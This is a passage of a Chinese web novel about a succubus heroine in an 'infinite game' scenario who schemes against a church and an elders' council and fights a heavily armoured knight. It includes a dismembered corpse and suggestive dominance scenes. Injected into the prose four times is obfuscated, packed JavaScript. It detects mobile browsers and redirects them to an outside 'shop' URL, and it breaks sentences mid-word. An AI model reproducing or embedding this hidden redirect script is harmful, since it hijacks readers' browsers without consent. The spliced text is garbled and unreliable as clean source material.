主教一看到这块石头,就想起自己被骗的可笑经历,将书桌上的东西都推到了地上,自己一个人在一片狼藉中气喘吁吁。 “叫骑士长过来!” 他对着门外大吼。 离秽来得不紧不慢。 她甚至在门口站了一会儿,等听到花瓶被愤怒砸碎的声音,才施施然走了进去。 主教此时已经体力耗尽,他的背深深地弯下去,坐在椅子上喘气,那声音让人无端想起某种破旧的老风箱。 “您找我?” 离秽问。 她一身重甲,站在那里,像巍峨不动的高山。 “我们带回来的三个人死了。” 主教的声音里带着苍老,和无法再掩饰的疲惫: “领主庄园里,那个小崽子挑的三个候选,死了两个,重伤一个,和没有也差不多了。现在……” “这么说,现在只有长老会挑选的人,有资格成为领主的未婚夫,甚至是丈夫了。” 离秽说。 “这不是好事吗?教廷和长老会可是合作关系。” “势均力敌才能合作。一旦强弱失衡,就会变成互相撕咬的猎物。” 主教的声音低下去: “不管这件事是谁做的,都不能让长老会真的捡到这个便宜。” 主教比宁汐柔想得稍微理智了一点。 至少他没有真的在盛怒之下,把这个锅直接扣在长老会的脑袋上。 不过,有些事情的结果,从来都是由利益导向,而非真相或正义。 对于主教和教廷来说,这两场杀人事件的真凶是谁根本就不重要。 只要长老会获得了超过己方的利益,他就一定会矛头转向对方。 “您有安排了?” 离秽问。 “从来没有告诉过你,因为这件事实在是太事关重大。但现在,也只有你能为教廷挽回一线生机了。” 主教长叹了一口气,指向倒在地上的权杖。 华贵精美的权杖。 和被镶嵌着上面,连用来铺设鹅卵石地面都会被人嫌弃平平无奇的石头。 “你们都知道,我从前任领主手里得到了这只权杖,最开始,我也这样以为。我当时多么荣幸啊,我居然成为了伟大领主选择的,用来对抗长老会的人。” 主教自嘲地说: “可是那个狡诈的人骗了我!她用白布蒙住了权杖的冠石,告诉我那是为了保护我,让强大的宝石力量不会伤害到我!” 可是交到主教手里的权杖,从来就没有宝石。 他以为自己是备受信任的,是得到了伟大领主认可的。 但其实,他不过是一个被蒙骗和利用的棋子。 “我恨她。” 主教的声音里压抑着让人无法分辨的强烈感情: “我一定要得到那颗真正的宝石,得到真正的权杖!我要让教廷成为德伦郡真正的统治者!永远!” 离秽看着主教近乎疯狂的样子,默默点头,做出一副赞同,却又无奈的样子: “您的伟大壮志,让我敬佩。不知道,我能如何帮助您呢?” “真正的冠石肯定被她藏起来了。这么多年,我到处都找了,一无所获。但是,就算她能藏得再好,她也必须让这颗冠石,在婚礼之前被送到她女儿的手上。” 主教笑了,眼神中都是仇恨与恶意: “我要你在那之前找到那颗冠石。她不是说,权杖的威力不可估量吗?那就让我看看,权杖的力量,能不能让我亲手杀死她的女儿!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284818|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>另一边,领主庄园。 书房外,一个仆人敲了敲门,小心翼翼地在门外说: “德洛丽丝大人,长老会议员长在前厅等候您。” 宁汐柔想起她刚刚进入副本时,在舞会上见到的那个白发老者。 是他? “克莱怎么来了?” 伊卡瑞斯皱起眉,他似乎对这个人印象很差。 “快去应付吧,男仆。” 恶魔露出一个得意的笑容,写满了幸灾乐祸。 “大人,我先去看看。” 伊卡瑞斯简直懒得再给他眼神,对着宁汐柔鞠躬,得到对方的点头后,转身离开了书房。 “哼,假模假式。” 恶魔轻哼了一声,转头用手肘撑着桌子,歪头看向宁汐柔,声音又甜软下来: “我这次没办好,我错了。你打我罚我都好,别不理我啊。” 他腰肢劲瘦,肌肉漂亮,弯下去的角度刚刚好能让宁汐柔欣赏他从后颈到臀线的完美弧度。 蓬松柔软的头发仿佛也知道主人的心事,轻轻搭在脸颊边上,隐隐遮住一点紫罗兰的颜色,勾连出俏皮可爱的风情。 他眨了眨眼,用小小的恶魔角去蹭她的手背。 “打你干什么?” 宁汐柔反问,直接反手捏住那翘起来的小恶魔角,坏心眼儿地捏了捏。 “唔啊!……主、主人唔……” 最大的弱点也带来最强烈的刺激,喉间滚落出低声的喘息,麦色肌肤的少年几乎跌坐在她脚边,眼角染上一片红,被驯服后,等待被采撷的模样。 “是没办好。不过,这次就饶过你。” 她站起来,高跟鞋尖踩在少年的腹肌上,动作不紧不慢地用鞋跟碾了一下,没收力,赐予他一阵欢愉和痛苦交织的起伏。 “不许自己动。” 她笑了,毫不掩饰其中的恶趣味。 “你可以祈祷,等我回来,还有心情玩你。” 宁汐柔抬脚,从他身上直接跨过去,拖尾的裙摆从他的身体上掠过,裙角装饰用的宝石,划过腰侧布料镂空处的肌肤,胸膛,喉结…… 他张嘴咬住唇边的一颗宝石,犬齿微微用力,将它扯了下来。 “嗯?” 宁汐柔的脚步一顿,回头看他。 “向神祈祷也不会得到回应,” 他的声音微哑,向后仰起头,发丝散落在眉眼间,漂亮得惊人。 少年的笑容肆意邪气,是张扬中带着甜蜜的期待。 “毕竟,我可是恶魔的眷属啊。” 宁汐柔打量了一下着副横卧美人图,舔了下唇瓣,心情不错地转身离开了。 应付老头子之前养养眼,果然是正确的选择。 来到前厅,伊卡瑞斯和那位长老会议员长克莱一起站着。 以体面优雅著称的首席男仆,连把椅子都没给人家。 “德洛丽丝大人,您来了。” 克莱拄着拐杖,脸色已经不太好看。 他身材健硕,估计不是累的,是气的。 他对着宁汐柔鞠躬,动作彬彬有礼,话语却是正好相反的强硬: “我代表长老会前来向您问候,同时也对其他候选人的安全深感担忧。为了保证您的婚礼能顺利进行,长老会合议决定,将婚礼提前到明天。” 他抬起头,笑容端正,带着胜利者的自信: “请您做好准备。” [叮!主线任务倒计时变更!] [任务倒计时:00:23:59:59] 15. 领主的婚礼(15) 克莱在说完婚礼提前的消息之后就离开了。 他也知道自己招人恨。 “这可真是……” 宁汐柔想着老人离开前那副掩饰不住得意的姿态,嗤笑了一声。 真是弄巧成拙。 九个未婚夫候选人,一下子废了六个,这个程度超过了宁汐柔的预计。 原本她的计划,是通过除掉自己的候选人,让长老会在现有形势中占优。 这样,已经被排除在候选之外的教廷必然跳脚,做出反应。 不管是教廷以候选人数量减少的名义,重新要求将自己的候选人加入备选行列; 还是教廷因此对长老会产生忌惮和针对,彼此之间的合作关系随之破裂; 总之,都是这两方对上,是宁汐柔想看到的局面。 然而,离秽随手杀了三个人,天平倾斜的程度就变了。 宁汐柔想到了教廷和主教会因此收到打击,从而更加针对长老会。 但她忘记了,长老会也不是什么省油的灯。 这个一直隐藏声量的组织,手上有着一张场上最大的牌。 可宁汐柔忘记却计算在其中。 长老会,目前仍然代行政权。 领主继承人的成年礼和婚礼,这是一个会影响整个德伦郡格局的政治事件。 长老会理所当然地拥有着筹备和安排的权利。 其实这一点,在刚开始的时候,副本就已经提醒过了。 只是那个时候太早,玩家们都没有进入状态,包括宁汐柔。 在舞会上,伊卡瑞斯接过水晶杯时,明确提到过,将婚礼和成年礼合在一起是长老会的决定。 但这个信息没有得到太多关注,宁汐柔将注意力放在了后面克莱自己说的那句: “如果继承人没有心仪的人选,长老会有权力为她选择一位合适的丈夫。” 如今的情况也正好符合克莱自己说的那句话。 剩下的三个候选人都是长老会举荐的,自然是他们来挑谁能在最后雀屏中选。 “到头来,替他们把活都干了。” 宁汐柔看着克莱离开的方向,眼睛危险地眯起。 像是猛兽锁定猎物。 “要杀了他吗?” 伊卡瑞斯站在她身后,声音温和地问。 刚才在书房里的示弱撒娇被打断,没有得到安抚的男仆想要再次证明自己的价值。 “杀了他有什么用?他死了,婚礼也不会因此取消。除非把长老会所有人都杀干净,不然,他们不会停下的。毕竟,他们离成功那么近了。” 宁汐柔笑了一声,转身离开。 她又回到了书房。 恶魔正躺在地上等待着。 姿态懒散,肢体舒展,渐渐西沉隐去的夕阳照耀在他身上,为介于青年和少年之间的躯体勾勒出金色的轮廓。 仿佛某种用尾巴圈地的小动物一般,他将小腿搭在椅子腿上,是不是蹭着,正是宁汐柔刚才坐过的那把椅子。 “主人……” 他的声音带着甜蜜的旖旎,紫罗兰色的眼睛被空气中萦绕着的香气浸染。 看到宁汐柔的神色似乎并未意动,恶魔神色中的暧昧也从善如流,化作讨好和安慰。 他手掌撑地,翻身换作跪坐的姿势,将下巴放在她的腿上,撒娇一样: “看来那个老家伙嫌自己命长了,我今天就去杀了他!” “不,你要杀的不是他。” 宁汐柔摇头,转头看向伊卡瑞斯: “伊卡,长老会送来的人还住在庄园里吗?” “克莱要把他们带走,估计是担心我们今天杀人灭口。” 伊卡瑞斯笑了下,点头: “我提前安排了人阻拦他,不过,可能拖不了太久。他有筹备婚礼做借口,我们也不能一直不放人。” “好,那就放他们走。” 宁汐柔想了想,招手让伊卡瑞斯附身过来,将唇凑到他耳边,说了几句。 伊卡瑞斯安静听着,随后点头,离开。 他走得急,难得这次都没瞥一眼宁汐柔膝盖上的恶魔少年。 “装什么正宫呢。” 恶魔冲着他的背影吐了吐舌头,打了个哈欠,又转过来看着宁汐柔: “我呢我呢?我干什么?” 他的确热衷于被使用。 “你去杀另一个人,从他手里,替我抢过来一样东西。” 她说。 暮色渐沉,宁汐柔独自坐在书房里。 放置着红宝石的木盒再一次被打开,安静地躺在她眼前。 为了避免再受到和上次类似的影响,她没有伸手去触摸宝石的表面,而是拿起了盒子里面的那封信。 信上的字迹已经模糊,看不太清楚。 纸张上没有被水痕或者烧痕这类被破坏过的痕迹。 所以宁汐柔一开始以为这是因为被放置的时间太久,所以信上内容才会这样。 但仔细想想,按照已知信息,前领主是在德洛丽丝十二岁时候病逝的,今年是德洛丽丝成年的日子。 所以这封信,理论上最多被尘封了六年。 六年的时间,能够让信上的字迹都模糊吗? 还是这封信,就像这个木盒之前的状态? 是某个她摸索到了轮廓,却还没满足“看到”要求的线索? 宁汐柔将信放下,眼神忽然看向某个方向。 夕阳即将彻底沉入夜色。 她面色平静地将盒子盖上。 然后小腿踩在椅子上,整个人向后翻去,飞扬起来的裙摆被劈砍而来的重剑斩断,剑身的轨迹被带偏了一点,砸在椅背上。 由一整个黄梨木雕刻而成的椅子顷刻间碎裂满地。 一身重甲的高大骑士单手举起半人高的巨剑,冲宁汐柔的方向挥过来,动作间铁甲发出独属于金属的冷冽碰撞声。 宁汐柔侧身避过剑锋,脸颊边的头发被风刃斩断,在空气中缓缓飘落。 这可不是人类的头发,这是魅魔的拟态,看起轻盈的发丝,实际强度远远超过精钢。 离秽身上武器盔甲,带着加起来少说两百斤的负重,还能有这样的速度和力量。 这绝不是人类可以做到的。 至少不是现实中的人类。 这个无限游戏,对人类的强化可以到这个地步吗? 宁汐柔心下一沉。 她并不反击,游刃有余地在巨剑边游走。 可一瞬,一息,一刻钟过去了,离秽的体力似乎并没有被消耗的迹象。 怎么会? 宁汐柔皱起眉,脚尖一点,飞身而起,落在巨剑的剑身上,神色第一次变得认真了起来: “离秽。” 她的声音平静,褪去了惯常带着的戏谑和散漫,底色中的冷然显露无疑。 长久以来,作为生活在人类社会中的魅魔,宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14284819|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汐柔拥有着比周围人强大太多的能力。 仿佛狮子被迫生活在蝼蚁的世界,一切都渺小而无意义。 她自然而然地傲慢,漠视眼前的一切。 不过,现在,不一样了。 柔弱秀美的面孔下,噬人的深渊之兽终于张开了她的獠牙,她笑起来,眼中带着兴奋: “认真打。” 话音刚落,她猛地发力将巨剑踩下去,侧身抬腿绞上骑士的脖子。 在可怖的力量下,保护着那一片地方的金属盔甲瞬间形变,从护具变成凶器,在离秽的皮肤上刻出深刻的血痕。 离秽又一次抡起重剑,接由动力产生的势能从挣脱腿绞。 随着宁汐柔的反击开始,离秽眼中也爆发出灼人的亮光。 “好!奉陪到底!” 她说。 拳头与重剑相碰的沉闷声音在书房中响起。 离秽的□□力量居然毫不逊于宁汐柔这个非人类生物,两道肉眼几乎无法捕捉的残影凶残地碰撞在一起。 片刻后,书房内部一片狼藉,几乎没有完好的地方。 木盒滚落在地上,被重剑劈开,红宝石在废墟中熠熠生辉。 两只猛兽的交战告一段落,离秽和宁汐柔分别靠在书房的两边,对视一眼,都笑起来。 这一刻,她们才算是完成了野兽互相嗅闻气味的第一步。 “我果然没看错你。” 离秽坐在废墟里,靠在剑身上,笑容豪爽。 “呵。” 宁汐柔坐在只剩下三分之一完好的书桌上,看着离秽,也笑了一声。 她毫不掩饰自己的傲慢,但也难得地正眼看人了一回。 “副本倒计时突然只剩一天了,这是你的杰作吧?” 离秽问。 “谬赞了。要不是你那边也兴致大发突然把教廷里那三个杀了,估计还真不至于突然婚礼提前这么多。” 宁汐柔说。 “早点结束又不是坏事,奖励更多嘛。” 离秽不在意地摆摆手: “我是来找你合作的。” “合作什么?” 宁汐柔问。 “那个就是领主权杖的冠石吧?” 离秽看着木盒里的红宝石,问道。 “嗯。” 宁汐柔点头。 “主教让我来杀你,顺便把这个宝石抢回去。” 离秽说。 “真巧,我也让人去杀他了。” 宁汐柔笑了。 “不太巧。” 离秽闻言,咂咂嘴,声音轻快: “我已经杀完他了,你的人估计要白跑一趟。” 另一边,教廷。 恶魔少年接着夜色的掩护,从密不透风的树冠中探出头来,比夜晚中无声的风更加安静,闪进了主教的房间。 他动作谨慎,尽可能不碰到房间里面的任何物品。 房间中有什么气味在空气中弥漫。 恶魔的鼻尖微动,眼神中浮现出一丝疑惑。 是血腥味,很重的血腥味。 他顺着这股血的味道往里走,一直来到了一个隐藏在房间深处的暗室。 暗室里,主教的四肢被拆下来,连同他的躯干一起,全部被倒吊在房梁上,血液顺着肢体滴滴答答地流下来。 那张不讨人喜欢的面孔,彻底苍白了下去。 倒吊着,像一只滑稽的劣质木偶。 16. 领主的婚礼(16) “你知道冠石的存在,杀了主教,又要找我合作。” 宁汐柔笑了一声,看着离秽的眼睛,声音笃定: “权杖的杖身在你那里。你要我用什么来和你换?” 合作是需要条件的,双方的利益趋于一致,或者至少不相冲突。 同时,彼此之间还要有对方需要的东西。 离秽主动来找宁汐柔合作。 毋庸置疑,她身上有离秽需要的东西。 那么,离秽手里又有什么筹码,能够让她选择合作? 宁汐柔很显然不是会试图依附老玩家的新人, 否则当初玩家们第一次集结,离秽在花园中表明身份的时候,她就贴上来了。 更不会发表什么“杀了你这个老玩家奖励会更好吗”这种暴论。 作为全场唯一一个拿着特殊身份卡的玩家, 宁汐柔自带领袖继承人的高位身份,主线任务玩得风生水起的,似乎也不需要离秽帮忙。 那么,还有什么? 离秽身上还有什么东西,能让她自信宁汐柔会答应合作? “脑子真快啊。” 离秽笑着感叹了一句。 “领主的权杖”,作为宁汐柔隐藏任务的任务目标,被分成了两个部分。 第一部分,是权杖的杖身,正被把持在主教的手中。 第二部分,是权杖的冠石,被放在了前任领主格洛丽亚的遗物木盒中。 这个冠石甚至一开始还是隐形的。 只有在任务执行者宁汐柔自己想出“前任领主将权杖托付给教廷”这个前置背景中的逻辑断裂点之后。 冠石才会作为隐藏任务进度达到50%的奖励,出现在盒子里。 但冠石的存在,这是只有隐藏任务执行者宁汐柔和她的协力者年蓁蓁才知道的事情。 而在副本中除了主教之外的其他所有人的视角里,“领主的权杖”都始终且完整地被把握在主教手中,只不过顶端的冠石被包裹上了白布。 所以,当离秽说出“冠石”两个字的时候,就已经证明了至少两件事情: 首先,离秽知道“领主的权杖”被分成了两个部分, 其次,离秽知道权杖中最重要的部分,冠石,其实就在宁汐柔的手里。 不过,知道了这两点,还不是最重要的。 最重要的是,离秽必须知道,宁汐柔的目的是重新将权杖组合起来。 有了这样的几点认知,自然而然地就会明白,宁汐柔此刻需要的,离秽能够提供的: 就是主教手中保管着的,领主的权杖,杖身部分。 “你杀了主教,是为了什么?” 宁汐柔问: “我一开始想过,是不是为了拿到杖身,获得和我合作的资格。不过,这样想似乎又有些过于自视甚高了。” “你拿着特殊身份卡,主线任务和别的玩家不同,这一点,你知道吧?” 离秽突然说。 “嗯。我的主线任务是什么暂且不说,你们的任务,应该都是‘顺利参加婚礼’吧。” 宁汐柔说。 她一开始只知道年蓁蓁的主线任务内容和自己不同。 那时候,宁汐柔的猜测更多地落脚在于“每个人的主线任务会根据自己的身份卡而产生一定的区别”。 也因此,宁汐柔认为自己不知道离秽的主线任务。 并且曾经一度担忧过,离秽的主线任务是否会对自己的任务进程产生影响。 但宁汐柔很快知道了,自己这个思考方向是错误的。 实际上,拿着一般身份卡的玩家在这个副本中,有着一致的主线任务。 时间回到早上,宁汐柔在餐厅里,咽下一口冰淇淋吐司。 在她脚边,满脸是血,逃脱了恶魔追杀的新人男玩家正在祈求她的保护。 在宁汐柔让伊卡瑞斯将他带到医生那里时, 似乎成功获救的男玩家脸上却浮现出一股恐惧和拒绝来,他摇着头,嘴里喃喃自语着: “不行。不能去,我得参加婚礼,得参加婚礼才行……” 他当时已经遍体鳞伤,意识模糊,但却依然惦记着自己必须参加婚礼这件事。 这份执着不太可能出自个人意志,只可能是他主线任务的要求。 如果年蓁蓁和那个新人男玩家有着同一个主线任务,那么就说明宁汐柔之前的推测方向是错的。 玩家们的主线任务,并不是在和婚礼强相关的前提下,各自根据自己的身份卡生成而出的。 而是拥有着一般身份卡的玩家,都有着统一的主线任务。 换一句话说,离秽的主线任务,应该也只是“顺利参加婚礼”。 也许对于年蓁蓁、餐厅里的新人男玩家来说,参加婚礼是一个有所难度的挑战,毕竟他们的身份卡一个是教廷中打酱油的见习修女,一个是不一定被选中的领主未婚夫候选人。 他们都不在原始的婚礼名单中,所以他们需要想法设法混入其中,或者干脆混入婚礼。 但对于拿着教廷骑士长身份卡的离秽来说。 领主的婚礼,主教一定会参加,作为骑士长的离秽陪同主教出席,这是再简单正常不过的逻辑了。 这有什么难度可言? 离秽难道只是来这个副本里打个酱油吗? 老玩家速刷新手本? “一般身份卡的主线任务对你来说太简单了,这不合逻辑。所以,你真正的任务并不是这个,对吗?” 宁汐柔的声音放缓了。 “你看,果然很聪明。” 离秽的眼中浮现赞叹: “你说的没错,我的任务的确不在于表面上。我真正的身份,是异源狩猎者。” “异源狩猎者?” 宁汐柔重复了一遍这个词。 “一般来说,玩家被拉入副本之后才会获得主线任务,但是我是接受了游戏系统发布的任务之后,才进入副本的。 如果说,副本是由无线游戏服务器中的数据搭建生成的,那么‘异源’就是隐藏在数据流中,会对副本造成破坏的垃圾数据。” 离秽说: “这些数据隐藏在副本中,蛰伏着,就等着某一刻,爆发出来,甚至颠覆整个副本。 异源狩猎者的任务,就是在那之前将副本中的‘异源数据’清除。” “你想说的到底是什么?” 宁汐柔皱起眉,看着离秽。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14284820|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“异源数据会导致副本崩溃,所以我的任务,本质上是在修复产生了bug的副本。 因此,完成对异源数据的驱逐之后,副本当中必须有人完成主线任务,以此证明这个副本已经修复完善,可以投入使用。 大部分情况下,我只需要把自己的主线任务完成,就足以证明这一点了。但是这个副本不一样,这个副本里有你。” 离秽说。 “因为我的特殊身份卡,所以……我的通关更有价值?” 宁汐柔尝试从离秽的角度来理解这件事。 “不。” 离秽摇头,声音沉静下来: “是在这个副本里,只有你的通关是有价值的。” “我的委托金是浮动的,和我修复的成果挂钩。我绝不打白工,所以你必须通关。” 离秽的声音坚定: “我把杖身给你,还帮你完成特殊身份卡任务,怎么样?听上去你可占了大便宜了。” 她说得没错。 如果离秽所说属实,这简直是万中无一,无本万利的好买卖。 宁汐柔不仅可以一举完成隐藏任务,甚至连主线任务也尽可以高枕无忧了。 可是…… “凭什么?” 宁汐柔笑了一声,看着她,歪歪头: “你忙前忙后,替我出生入死,然后我坐享其成。你真的要让我相信,这是一个对你也有好处的交易?” 她的声音中带着冷意: “为什么要向我坦白这一切?你的身份,还有什么‘异源狩猎者’的任务。说出这些对你的好处是什么?你刚才的发言只会让自己变得更加弱势不是吗?在交易中提前暴露自己对于对方的需要,这很愚蠢。” 离秽笑了,反问宁汐柔: “或许我只是一个很善于坦诚的人呢。” “人类从来不是善于坦诚的生物。” 宁汐柔反驳: “不然你们为什么会创造出‘零和博弈’这个词?” “你这么说好像也没问题。” 离秽耸了耸肩。 “好,我说实话。我之所以选择合作,而不是直接利用你,因为你够强,也因为,现在你只能选择我了。” 宁汐柔没有说话。 “如果你现在不和我合作,你还能和谁合作呢?” 离秽说: “长老会不用说了,他们就差没直接带人冲进庄园把你绑起来结婚了; 教廷和你的关系也已经彻底破裂,彼此之间没有和解的可能。哦,对了,你派出去的人现在就在教廷,只要被人发现他和主教的尸体现在在同一个地方,他不是凶手,也得是凶手了。” “我不是没有听说过特殊身份卡。 拿到特殊身份卡的人,往往会成为副本的中心人物,好像整个世界都围绕着你们展开一样。 听上去好像天命之子一样,是不是? 可我还要告诉你,所有拿到特殊身份卡的玩家,没有一个人,能活着走出副本。 在老玩家之中,特殊身份卡,这五个字,不是幸运,而是诅咒!” “如果你觉得自己现在走得很顺,那么,你一定走错了。” 她说。 17. 领主的婚礼(17) “你告诉我这些,是为了让我害怕吗?” 宁汐柔听到离秽的话,不但没露出半点惧色,反而挑眉反问: “让我在恐惧中,只能寻求你的帮助?” “如果你能这么轻易就被操控,我也看不上这样的合作对象。” 离秽摇头,十分坦率: “我刚才和你打的那一场,没有留手。但凡你没有和我打到现在的能力,早就被我杀了。” “你不是说,我是能够拯救你离开这个游戏的人吗?” 宁汐柔眼中泛起一点笑意: “你就不怕我死了,你就再也出不去了?” “如果你能这么简单被我杀死,就说明那个预言只是个狗屁。” 离秽嗤笑一声,毫不在意。 “你还真有点意思。” 宁汐柔说着,对离秽伸出手: “杖身呢?” 离秽也没磨蹭,手心摊开,瞬息间,杖身凭空出现在她手上。 就是主教一直不离手的权杖,只是权杖顶端没了白布的包裹,原本应该镶嵌着冠石的地方空着,显出一点寂寥冷清的意味来。 “个人背包,等你开了点数系统之后也会有。” 离秽说。 宁汐柔并不惊讶,抬手接过来杖身。 金属材质的杖身入手微凉,权杖的大小正好和她的手掌贴合,仿佛就是为她而生一般。 她打开木盒,将冠石从里面拿出来。 冠石与杖身相触,结合在一起,密不可分。 冥冥中,宁汐柔仿佛听见一声久别重逢的叹息。 [叮!隐藏任务进度:99%] [玩家已获得:领主的权杖·碎片二!] [玩家已组合:领主的权杖·碎片一/领主的权杖·碎片二] [恭喜玩家获得:领主的权杖·待修复] [请玩家再接再厉!] 宁汐柔的表情停滞了一下。 进度99%,不太可能是权杖本身缺乏什么——总不能是掉漆了吧。 可是部件都收集齐了,权杖也组合成功了,还有什么? 她下意识皱起眉,为这找不到突破点的1%,第一次感到迷茫。 另一边,教廷。 年蓁蓁也收到了隐藏任务进度卡在99%的消息。 听到系统提示音的一瞬间,年蓁蓁觉得自己天都要塌了。 她的!十倍!数值! 任务进度这个东西,0%也好,50%也好,甚至80%都好。 进度条空着一大块,本身就是一种提示,告诉玩家们: 还有个很重要的东西!快去找啊! 可是99%,这个数字是最可怕的。 就像是爬山时,完成几千阶台阶之后的最后十步。 但是,力竭了。 上气不接下气,肺已经在爆炸边缘,明明看着重点就在眼前,但是腿已经完全抬不起来了。 这种程度的绝望。 不行!不能认输! 年蓁蓁握紧了拳头,眼中的斗志熊熊燃烧。 当然,身处教廷之中,年蓁蓁也不可能直接闪现回领主庄园,去问问宁汐柔该从什么方向突破。 她要从现有的切入点入手。 至于年蓁蓁现有的切入点是什么…… 她拿出自己一直放在口袋里的象牙吊坠,闭上眼,一副英勇就义的样子,戴在了脖子上。 在来的路上,年蓁蓁一直在想自己这个角色和主教瑞恩到底会有什么关系。 之前在领主庄园里时,在宁汐柔的注视下,年蓁蓁排练了几种可能性: 教女,这个可能比较大,毕竟年蓁蓁的身份卡伊迪丝只是个年轻的见习修女,和主教的年龄差距摆在那里。 而且伊迪丝出身的小贵族家庭即是长老会议员,又和教廷交好,主教为了表示重视,为小贵族家的女儿洗礼,好像也顺理成章。 稍微狗血一点,父女。 比如说伊迪丝是主教的私生女,偷偷借用了和教廷交好的小贵族的名义抚养,又在女儿长大之后将她带到教廷里,以担任见习修女的名义和女儿团聚。 这个可能性虽然不是说没有,但年蓁蓁总觉得有点太八点档。 最坏的可能性是…… 年蓁蓁收起自己的想象,不忍直视地闭上了眼睛。 不行,不管怎么做心理准备,还是没办法和又矮又瘦的老头走感情线。 同样都是玩家,怎么宁姐吃那么好呢? 特殊身份卡的福利这么牛吗? 她咂咂舌,在用来稳定情绪的胡思乱想中,鬼鬼祟祟地带到了主教的房间门口。 年蓁蓁左顾右盼,观察了一下四周,发现周围没有人,带着一点庆幸,推开了房门。 她也不是什么准备都不做就直接上来莽的。 主教突然狂怒,然后将所有人都赶走这件事,在教廷里已经成为小范围的八卦传开了,所以她才敢来碰碰运气。 不过,她的运气似乎一般。 推门进去,年蓁蓁立马闻到一股浓重的血腥气,以及房间里被翻箱倒柜的声音。 主教自残了?还是杀人了? 放轻脚步,走进内室,看到一片狼藉中,一个神情暴躁的青年。 麦色肌肤,紫色眼睛,还有头顶两只小尖角。 赫然就是恶魔。 年蓁蓁下意识回想起自己当初被这个家伙拎着衣领从窗户甩进宁汐柔房间的记忆,脚步往后退了半步。 不过,现在她和恶魔都是宁汐柔手下的,怎么着,互相也能算个同事吧? 她犹豫了一下,小声问: “你干嘛呢?” 恶魔早知道是她,头都懒得回,随手将主教书桌上的东西全部推下去,直接将整个桌子举起来,看到桌子背面空无一物,烦躁地啧了一声: “愣着干什么,过来一起找!” “找什么?” 虽说勉强算得上同事了,当年蓁蓁可不想靠近他。 她选了房间对角线的位置,气氛组一样开始翻东西,出声问道。 “找那个权杖的下半截儿!” 恶魔说。 哦,原来他不当夹子的时候是这个声音。 年蓁蓁在内心小小吐槽了一下,随后说: “你是说领主权杖的杖身?你在这里应该找不到的。” 隐藏任务都已经进度99%了,宁汐柔必定已经拿到了杖身。 只是不知道这最后的1%卡在了那里。 难道是组装权杖? 现在完成个支线任务还要会宝石镶嵌了吗? “你什么意思?” 恶魔的动作停下了,语气不是太好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14286646|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那么大一个东西,你都快把这里拆了,不是也没找到吗。” 年蓁蓁总不能说自己看到了隐藏任务的进度,只能环视一圈,从现场来解释。 或许是为了转移恶魔的注意力,她又问: “你能告诉我,之前这里发生了什么事吗?你把主教杀了?婚礼怎么突然提前到明天了?” 作为玩家,年蓁蓁当然也能看到主线任务时间的改变。 她回到教廷之后,也听说了教廷内部的三名前候选人全部被人刺杀身亡的事。 她当时不在领主庄园,不知道当时具体发生了什么。 再然后,就是主线任务时间的突然大幅度缩短。 听见年蓁蓁的话,恶魔嗤笑了一声,表情也变得难看起来,显然心情更不好了: “长老会的那个死老头子过来,嘀嘀咕嘀嘀咕一大串,反正就是要把婚礼提前。我说要杀了他,她让我过来这里找权杖。” 他翻了个白眼,声音里带着郁闷: “老头子没杀成,那个权杖我也没找到。 我倒宁愿是我杀的!我可不会让他那么舒舒服服就死了。但是我来的时候,那家伙已经死了。喏,尸体在里边,你自己去看吧。” 不用他说,年蓁蓁也正有此意。 她顺着血腥味的方向走进内室,在看到了里面的场景之后,又风一样弹射了出来,一张脸上煞白,背靠着门,脊背因为过度用力绷直,而轻微地颤抖着。 几乎是过了半分钟,她脸上惨白的神情才恢复了一点血色。 “主教死了……” 她喃喃道。 “啊,真厉害,我差点没发现。” 恶魔面无表情地捧读。 “你知道是谁做的吗?” 年蓁蓁问。 “我哪知道。” 恶魔哼了一声。 “主教死在卧室里,他房间里面只有自己的尸体和你,房间外面没有人看到其他人进来。” 年蓁蓁的声音逐渐迟疑了,一个可能性在她脑海中浮现。 她的眼睛渐渐亮起来: “没有人知道是谁做的,那为什么不能是你做的?” “啊?” 恶魔迷惑了。 “对,就是你做的。是长老会指使你做的!” 